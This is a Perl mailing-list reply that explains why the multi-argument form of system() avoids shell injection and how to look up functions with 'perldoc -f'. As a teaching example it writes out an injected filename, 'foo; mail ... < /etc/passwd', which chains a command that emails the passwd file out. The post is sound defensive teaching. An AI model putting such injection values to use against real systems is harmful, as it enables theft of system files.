On Jan 12, Gary Hawkins said: >> system("rm -rf $file"); >> >> But if you copied this from another source, that source was totally >> unaware that deletion of files like THAT is TOTALLY unsafe. A safer >> approach is: >> >> system("rm", "-rf", $file); > >I'm not aware of the reason for it.
Multi-arg system() bypasses the shell. Assume that $file comes from user input. What would happen if the user entered foo; mail [EMAIL PROTECTED] < /etc/passwd when prompted for a filename? You would then blindly run system("rm -rf $file"); which would execute rm -rf foo; mail [EMAIL PROTECTED] < /etc/passwd which would happily email me your passwd file. Ick for you. Multi-arg system treats the program to execute as though it were a function itself -- it safely executes 'rm' with two arguments, the flags (-rf) and the filename (foo; mail [EMAIL PROTECTED] < /etc/passwd). This, of course, would fail, unless you HAPPENED to have a file named "foo; mail [EMAIL PROTECTED] < /etc/passwd", which would be truly bizarre. >What's a good way to find which perl doc contains the thing I need to read >about? > >This will prolly make me look stupider than I wasn't to be of something then >of, but: > >C:\>perldoc system >No documentation found for "system". You need to better familiarize yourself with the perldoc utility. friday:~ $ perldoc Usage: perldoc [-h] [-r] [-i] [-v] [-t] [-u] [-m] [-l] [-F] [-X] PageName|ModuleName|ProgramName perldoc -f PerlFunc perldoc -q FAQKeywords The -h option prints more help. Also try "perldoc perldoc" to get aquainted with the system. >From that message, you see that you should have invoked 'perldoc -f system' instead. -- Jeff "japhy" Pinyan [EMAIL PROTECTED] http://www.pobox.com/~japhy/ RPI Acacia brother #734 http://www.perlmonks.org/ http://www.cpan.org/ ** Look for "Regular Expressions in Perl" published by Manning, in 2002 ** <stu> what does y/// stand for? <tenderpuss> why, yansliterate of course. -- To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]